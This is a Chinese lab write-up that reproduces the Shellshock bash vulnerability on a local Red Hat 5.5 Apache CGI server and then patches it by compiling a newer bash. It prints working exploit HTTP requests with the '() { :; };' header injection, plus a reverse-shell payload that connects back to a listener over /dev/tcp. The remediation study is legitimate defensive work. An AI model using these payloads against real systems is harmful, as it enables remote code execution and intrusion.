环境安装
由于工作环境中一台Redhat 5.5 服务器上存在破壳漏洞(CVE-2014-6271)漏洞,相关漏洞资料中只影响到bash 4.3版本,但是升级到bash 4.4版本漏洞还是可以利用成功。于是在本地安装一台Redhat 5.5 并配置Apache httpd cgi,在安装系统过程中选择支持web服务就可以在运行系统之后直接启用httpd服务。
安全好之后发现Redhat 5.5 的httpd 默认支持cgi功能,如果不支持可以自己手动更改/etc/httpd/conf/httpd.conf内容,如下
去掉 AddHandler cgi-script .cgi 前面的注释
部分教程提示还需要将如下内容去掉注释
然后将cgi脚本放入到/var/www/cgi-bin/目录下,保存为test-cgi文件,内容如下
#!/bin/sh
# disable filename globbing
set -f
echo "Content-type: text/plain; charset=iso-8859-1"
echo
echo CGI/1.0 test script report:
echo
echo argc is $#. argv is "$*".
echo
echo SERVER_SOFTWARE = $SERVER_SOFTWARE
echo SERVER_NAME = $SERVER_NAME
echo GATEWAY_INTERFACE = $GATEWAY_INTERFACE
echo SERVER_PROTOCOL = $SERVER_PROTOCOL
echo SERVER_PORT = $SERVER_PORT
echo REQUEST_METHOD = $REQUEST_METHOD
echo HTTP_ACCEPT = "$HTTP_ACCEPT“
echo PATH_INFO = "$PATH_INFO"
echo PATH_TRANSLATED = "$PATH_TRANSLATED"
echo SCRIPT_NAME = "$SCRIPT_NAME"
echo QUERY_STRING = "$QUERY_STRING"
echo REMOTE_HOST = $REMOTE_HOST
echo REMOTE_ADDR = $REMOTE_ADDR
echo REMOTE_USER = $REMOTE_USER
echo AUTH_TYPE = $AUTH_TYPE
echo CONTENT_TYPE = $CONTENT_TYPE
echo CONTENT_LENGTH = $CONTENT_LENGTH
千万记住上传的文件不要使用Windows换行符"/r/n",会报错的。。。
配置完成启动服务,service httpd start
访问cgi链接地址,部署成功
漏洞利用
使用bash --version 命令在虚拟机上查看一下bash版本,结果如下
为存在漏洞版本,使用poc对漏洞进行验证
GET /cgi-bin/test-cgi HTTP/1.1
Host: 10.10.10.130
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Cookie: () { :; }; echo ;/bin/bash -c whoami
User-Agent: CrowdStrike ShellShock Scanner/1.0
Content-Length: 2
测试结果
该poc操作不是很方便,我们使用反弹shell进行利用
本地使用ncat进行监听,ncat -lvvp 8000 ,设置监听端口为8000
在poc中执行反弹语句,/bin/bash -i >& /dev/tcp/172.19.31.17/8000 0>&1
GET /cgi-bin/test-cgi HTTP/1.1
Host: 10.10.10.130
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Cookie: () { :; }; echo ;/bin/bash -i >& /dev/tcp/172.19.31.17/8000 0>&1
User-Agent: CrowdStrike ShellShock Scanner/1.0
Content-Length: 0
发送数据包,反弹成功
当前用户为apache,权限较低,可以查看当前服务器版本,使用命令lsb_release -a
系统版本为Redhat 5.5,没有提权成功。。。
更新升级
升级需要对bash的安装包进行编译,直接编译会报错,是因为默认未安装gcc,但是Redhat未授权的系统不能直接使用yum,所以使用本地镜像中的安装包,做本地yum源,将镜像中的Client解压到指定的路径,需要更新/etc/yum.repos.d/rhel-debuginfo.repo,加入如下内容,下面的配置文件file:///opt/Client就是解压的路径(非root权限最好不要放在这里),然后执行yum makecache (可能不需要)
配置信息
[rhel-debuginfo-beta]
name=Red Hat Enterprise Linux $releasever -$basearch - Debug
baseurl=file:///opt/Client
enabled=1
gpgcheck=0
配置好这些内容,就可以直接yum install gcc了
进入到bash源代码目录下,顺序执行./configure、make、make install ,进行编译安装
执行bash --version 查看当前版本
但是更新完成后验证还是存在漏洞,因为bash默认是安装在/usr/local/bin/目录下,需要创建一个链接到/bin/目录下,完成后重启生效
执行命令mv /bin/bash /bin/bash.bak 首先将原来的bash备份, ln -s /usr/local/bin/bash /bin/bash 创建链接,然后重启即可。
使用poc验证漏洞
http头中的命令未执行,漏洞整改成功。